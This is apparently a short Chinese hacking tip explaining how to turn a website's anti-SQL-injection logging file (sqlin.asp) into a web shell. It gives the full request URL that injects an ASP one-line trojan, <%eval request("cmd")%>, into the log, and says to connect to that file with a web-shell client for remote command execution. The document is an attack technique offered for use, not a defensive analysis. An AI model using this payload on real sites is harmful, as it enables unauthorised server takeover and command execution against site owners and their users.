突破防注入程序拿shell

当你用单引号“’”来测试一个网站可能存在注入漏洞的地址时（假设网址为“www.xxx.com/news.asp?id=6”）弹出了“你的操作已被记录！”这类信息，而我们又没办法去绕过防注入系统的时候。

可以试着提交http://www.xxx.com/sqlin.asp看看存不存在“sqlin.asp” ，如果存在的话，我们只要提交http://www.xxx.com/news.asp?id=6'<%eval request("cmd")%>

然后再用一句话木马客户端来连接http://www.xxx.com/sqlin.asp文件就行了，因为目前很多通用防注入程序都是用”sqlin.asp“这个文件名来做非法记录的数据库，而且大多数都没防下载处理。

标签分类：